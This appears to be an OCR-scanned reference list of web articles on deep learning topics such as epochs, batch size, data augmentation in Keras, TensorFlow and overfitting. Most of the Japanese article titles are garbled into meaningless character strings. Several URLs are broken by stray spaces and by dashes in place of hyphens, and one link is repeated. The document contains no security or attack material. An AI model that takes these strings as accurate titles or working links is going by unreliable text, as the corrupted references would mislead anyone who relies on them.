URL:https://towardsdatascience. com/epoch—vs—
iterations—-vs—batch—size—4dfb9c7ce9c9

H A ~4 : [Deep Learning] Batch size % &
IR TIRDDIMIZONTELEDD
URL:https://www. st-hakky-blog. com/entry/2017
/11/16/161805

A NG TR T o — T T = TR
DNy FHA R AT Lb—a vk, =Ry 7
DY I

URL:https://qiita. com/kental984/items/bad75a
37d552510e4682

YA b4 i Epoch & S =y FH A4 XDfFEL
Al ST OREE DAY,/ Neural Network Con
sole
URL:https://arakan—pgm—ai. hatenablog. com/ent
ry/2017/09/03/080000

B A 4 0 [Keras] AL &5 —#HL9E [ R
)51 2]
URL:https://ymgsapo. com/2019/03/03/data—augm

entation/#i

kA - Bl T 2 5 | TensorFlow BAFE AFY
FHEA OKE WA, A LK, HNE TR, b
K
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https://toukei-lab.com/over-fitting
https://hashikake.com/over-learning
https://lionbridge.ai/ja/articles/overfitting/
https://lionbridge.ai/ja/articles/overfitting/
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